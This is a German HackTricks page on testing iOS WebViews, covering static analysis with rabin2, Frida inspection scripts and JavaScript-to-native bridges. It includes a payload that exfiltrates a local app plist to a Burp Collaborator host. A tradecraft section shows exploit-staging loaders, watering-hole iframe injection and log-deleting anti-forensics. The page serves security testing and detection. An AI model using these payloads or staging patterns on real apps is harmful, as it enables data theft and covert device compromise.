iOS WebViews
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Der Code dieser Seite wurde von here extrahiert. Prüfe die Seite für weitere Details.
WebView-Typen
WebViews werden in Anwendungen verwendet, um Webinhalte interaktiv anzuzeigen. Verschiedene Typen von WebViews bieten unterschiedliche Funktionalitäten und Sicherheitsmerkmale für iOS-Anwendungen. Hier ein kurzer Überblick:
-
UIWebView, das ab iOS 12 nicht mehr empfohlen wird, da es nicht unterstützt, JavaScript zu deaktivieren, und somit anfällig für Script-Injection und Cross-Site Scripting (XSS)-Angriffe ist.
-
WKWebView ist die bevorzugte Option, um Webinhalte in Apps einzubinden. Es bietet bessere Kontrolle über Inhalte und Sicherheitsfunktionen. JavaScript ist standardmäßig aktiviert, kann aber bei Bedarf deaktiviert werden. Es unterstützt auch Mechanismen, um zu verhindern, dass JavaScript automatisch Fenster öffnet, und stellt sicher, dass alle Inhalte sicher geladen werden. Zudem minimiert die Architektur von WKWebView das Risiko, dass Speicherkorruption den Hauptprozess der App beeinflusst.
-
SFSafariViewController bietet ein standardisiertes Browsing-Erlebnis innerhalb von Apps, erkennbar an seinem spezifischen Layout mit einem schreibgeschützten Adressfeld, Share- und Navigationsbuttons sowie einem direkten Link, um Inhalte in Safari zu öffnen. Im Gegensatz zu WKWebView kann JavaScript in SFSafariViewController nicht deaktiviert werden; außerdem teilt es Cookies und Daten mit Safari, wodurch die Privatsphäre des Nutzers gegenüber der App gewahrt bleibt. Es muss laut App Store-Richtlinien deutlich sichtbar angezeigt werden.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
Zusammenfassung der Untersuchung von WebViews-Konfigurationen
Übersicht der statischen Analyse
Bei der Untersuchung von WebViews-Konfigurationen werden zwei Haupttypen betrachtet: UIWebView und WKWebView. Um diese WebViews in einer Binärdatei zu identifizieren, werden Befehle verwendet, die nach bestimmten Klassenreferenzen und Initialisierungsmethoden suchen.
- UIWebView-Erkennung
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
Dieser Befehl hilft dabei, Instanzen von UIWebView zu finden, indem er nach Textstrings in der Binärdatei sucht, die damit in Zusammenhang stehen.
- WKWebView Identifizierung
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
Ähnlich wird für WKWebView mit diesem Befehl das Binary nach Textstrings durchsucht, die auf dessen Verwendung hindeuten.
Um außerdem herauszufinden, wie eine WKWebView initialisiert wird, wird der folgende Befehl ausgeführt, der auf die Methodensignatur abzielt, die mit ihrer Initialisierung zusammenhängt:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
JavaScript-Konfigurationsüberprüfung
Für WKWebView wird hervorgehoben, dass das Deaktivieren von JavaScript eine Best Practice ist, sofern nicht erforderlich. Das kompilierte Binary wird durchsucht, um zu bestätigen, dass die javaScriptEnabled-Eigenschaft auf false gesetzt ist, wodurch JavaScript deaktiviert ist:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Nur sichere Inhalte verifizieren
WKWebView bietet die Möglichkeit, Mixed-Content-Probleme zu erkennen, im Gegensatz zu UIWebView. Dies wird mit der Eigenschaft hasOnlySecureContent überprüft, um sicherzustellen, dass alle Ressourcen der Seite über sichere Verbindungen geladen werden. Die Suche in der kompilierten Binärdatei wird wie folgt durchgeführt:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Erkenntnisse zur dynamischen Analyse
Dynamische Analyse beinhaltet das Untersuchen des Heaps nach WebView-Instanzen und deren Eigenschaften. Ein Skript namens webviews_inspector.js wird für diesen Zweck verwendet und zielt auf UIWebView, WKWebView und SFSafariViewController-Instanzen. Es protokolliert Informationen über gefundene Instanzen, einschließlich URLs und Einstellungen in Bezug auf JavaScript und sicheren Inhalt.
Heap-Inspektion kann mittels ObjC.choose() durchgeführt werden, um WebView-Instanzen zu identifizieren und die Eigenschaften javaScriptEnabled und hasonlysecurecontent zu prüfen.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
Das Skript wird ausgeführt mit:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Wesentliche Ergebnisse:
- Instanzen von WebViews werden erfolgreich gefunden und inspiziert.
- Die Aktivierung von JavaScript und sichere Content-Einstellungen werden verifiziert.
Diese Zusammenfassung fasst die kritischen Schritte und Befehle zusammen, die bei der Analyse von WebView-Konfigurationen mittels statischer und dynamischer Ansätze angewendet werden, mit Schwerpunkt auf Sicherheitsfunktionen wie JavaScript-Aktivierung und der Erkennung gemischter Inhalte.
WebView-Protokollbehandlung
Die Handhabung von Inhalten in WebViews ist ein kritischer Aspekt, insbesondere beim Umgang mit verschiedenen Protokollen wie http(s)://, file:// und tel://. Diese Protokolle ermöglichen das Laden sowohl entfernter als auch lokaler Inhalte innerhalb von Apps. Es wird betont, dass beim Laden lokaler Inhalte Vorsichtsmaßnahmen getroffen werden müssen, um zu verhindern, dass Benutzer den Namen oder Pfad der Datei beeinflussen oder den Inhalt selbst bearbeiten.
WebViews bieten verschiedene Methoden zum Laden von Inhalten. Für UIWebView, das mittlerweile deprecated ist, werden Methoden wie loadHTMLString:baseURL: und loadData:MIMEType:textEncodingName:baseURL: verwendet. WKWebView wiederum nutzt loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: und loadRequest: für Webinhalte. Methoden wie pathForResource:ofType:, URLForResource:withExtension: und init(contentsOf:encoding:) werden typischerweise zum Laden lokaler Dateien verwendet. Die Methode loadFileURL:allowingReadAccessToURL: ist besonders bemerkenswert, da sie eine bestimmte URL oder ein Verzeichnis in die WebView laden kann und beim Angeben eines Verzeichnisses möglicherweise sensible Daten preisgeben kann.
Um diese Methoden im Quellcode oder der kompilierten Binary zu finden, können Befehle wie die folgenden verwendet werden:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Bezüglich Dateizugriff erlaubt UIWebView diesen universell, während WKWebView die Einstellungen allowFileAccessFromFileURLs und allowUniversalAccessFromFileURLs einführt, um den Zugriff von file URLs zu verwalten; beide sind standardmäßig false.
Ein Frida-Skriptbeispiel wird bereitgestellt, um WKWebView-Konfigurationen auf Sicherheitseinstellungen zu inspizieren:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Abschließend zeigt ein JavaScript payload, das auf exfiltrating lokaler Dateien abzielt, das potenzielle Sicherheitsrisiko, das von falsch konfigurierten WebViews ausgeht. Dieses payload kodiert Dateiinhalte in hex-Format, bevor es sie an einen Server überträgt, und unterstreicht damit die Bedeutung strenger Sicherheitsmaßnahmen bei WebView-Implementierungen.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
Native-Methoden, die durch WebViews offengelegt werden
Verstehen der nativen WebView-Schnittstellen in iOS
Seit iOS 7 stellt Apple APIs für die Kommunikation zwischen JavaScript in einer WebView und nativen Swift- oder Objective-C-Objekten bereit. Diese Integration erfolgt hauptsächlich über zwei Methoden:
- JSContext: Eine JavaScript-Funktion wird automatisch erstellt, wenn ein Swift- oder Objective-C-Block innerhalb eines
JSContextmit einer Kennung verknüpft wird. Dies ermöglicht eine nahtlose Integration und Kommunikation zwischen JavaScript und nativem Code. - JSExport Protocol: Durch das Implementieren des
JSExport-Protocols können native Properties, Instanzmethoden und Klassenmethoden JavaScript zur Verfügung gestellt werden. Das bedeutet, dass Änderungen in der JavaScript-Umgebung in der nativen Umgebung gespiegelt werden und umgekehrt. Es ist jedoch wichtig sicherzustellen, dass dadurch keine sensiblen Daten unbeabsichtigt offengelegt werden.
Zugriff auf JSContext in Objective-C
In Objective-C kann der JSContext für eine UIWebView mit der folgenden Codezeile abgerufen werden:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Kommunikation mit WKWebView
Bei WKWebView ist direkter Zugriff auf JSContext nicht verfügbar. Stattdessen wird Message Passing über die Funktion postMessage verwendet, wodurch die Kommunikation von JavaScript zur nativen Ebene ermöglicht wird. Handler für diese Nachrichten werden wie folgt eingerichtet, sodass JavaScript sicher mit der nativen Anwendung interagieren kann:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Interaktion und Tests
JavaScript kann mit der nativen Ebene interagieren, indem ein script message handler definiert wird. Dadurch können native Funktionen von einer Webseite aus aufgerufen werden:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Um das Ergebnis eines nativen Funktionsaufrufs abzufangen und zu manipulieren, kann man die Callback-Funktion innerhalb des HTML überschreiben:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
Die native Seite verarbeitet den JavaScript-Aufruf wie in der Klasse JavaScriptBridgeMessageHandler gezeigt, wobei das Ergebnis von Operationen wie der Multiplikation von Zahlen verarbeitet und an JavaScript zurückgesendet wird, zur Anzeige oder weiteren Verarbeitung.
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS Web Exploit Delivery & Staging Tradecraft
Die folgenden Muster wurden in realen iOS Safari/WebKit exploit delivery chains beobachtet und sind nützlich für Analyse, Erkennung und kontrollierte Emulation.
Mehrstufiger Loader via versteckte iframes
Ein häufiges Staging-Muster besteht darin, die Ausführung zu beschränken, um Reinfektion oder Analyse zu vermeiden, und dann ein verstecktes/off-screen iframe für die nächste Stufe einzufügen:
<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>
Eine minimale Staging-Seite kann den main loader über document.write() injizieren:
<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>
Loader-Stufen laden häufig nachfolgendes JavaScript synchron:
function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}
Spätere Stufen können in einem worker-ähnlichen Kontext durch das Erstellen einer Blob URL ausgeführt werden:
const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);
Erzwingen, dass Safari die WebKit/JSC-Oberfläche ansteuert
Wenn ein Opfer eine lure in einem anderen Browser öffnet, kann ein protocol handler Safari zwingen:
if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}
Encrypted stage fetch (ECDH + AES)
Einige loaders verschlüsseln exploit stages während der Übertragung. Ein minimaler client flow ist: generate an ephemeral ECDH keypair, POST the base64 public key, receive encrypted blobs, derive an AES key, decrypt, then decode to JavaScript:
const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));
Watering-hole injection pattern
Kompromittierte Websites können ein Remote-Skript laden, das ein außerhalb des sichtbaren Bereichs platziertes iframe erstellt und es mit einem sandbox-Attribut einschränkt, während es weiterhin die Ausführung von Skripten erlaubt:
<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);
Post-exploitation anti-forensics indicators (JS implants)
- Temporäre Ablage unter
/tmp/<uuid>.<digits>/mit Unterordnern wieSTORAGE,DATA, undTMP. - Löschen von Crash-Logs in
/var/mobile/Library/Logs/CrashReporter/(häufig gefiltert nach WebKit/SpringBoard-Substrings). - Rekursives Löschen von
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/.
Debugging iOS WebViews
(Tutorial basierend auf dem von https://blog.vuplex.com/debugging-webviews)
Um Webinhalte innerhalb von iOS webviews effektiv zu debuggen, ist aufgrund der Tatsache, dass an console.log() gesendete Nachrichten nicht in Xcode-Logs angezeigt werden, eine spezielle Einrichtung mit den Entwicklerwerkzeugen von Safari erforderlich. Hier eine vereinfachte Anleitung mit den wichtigsten Schritten und Anforderungen:
-
Vorbereitung auf dem iOS-Gerät: Der Safari Web Inspector muss auf Ihrem iOS-Gerät aktiviert werden. Gehen Sie dazu zu Einstellungen > Safari > Erweitert und aktivieren Sie den Web Inspector.
-
Vorbereitung auf dem macOS-Gerät: Auf Ihrem macOS-Entwicklungsrechner müssen Sie die Entwicklerwerkzeuge in Safari aktivieren. Starten Sie Safari, rufen Sie Safari > Einstellungen > Erweitert auf und wählen Sie die Option Menü “Entwickeln” anzeigen.
-
Verbindung und Debugging: Nachdem Sie Ihr iOS-Gerät mit Ihrem macOS-Computer verbunden und Ihre Anwendung gestartet haben, verwenden Sie Safari auf dem Mac, um die zu debuggende webview auszuwählen. Navigieren Sie in der Menüleiste von Safari zu Develop, fahren Sie mit der Maus über den Namen Ihres iOS-Geräts, um eine Liste der webview-Instanzen zu sehen, und wählen Sie die Instanz, die Sie inspizieren möchten. Ein neues Safari Web Inspector-Fenster öffnet sich dafür.
Beachten Sie jedoch die Einschränkungen:
- Für das Debugging mit dieser Methode ist ein macOS-Gerät erforderlich, da es auf Safari angewiesen ist.
- Nur webviews in Anwendungen, die über Xcode auf Ihr Gerät geladen wurden, können so debuggt werden. Webviews in Apps, die über den App Store oder Apple Configurator installiert wurden, können auf diese Weise nicht debuggt werden.
References
-
https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/
-
https://github.com/authenticationfailure/WheresMyBrowser.iOS
-
https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


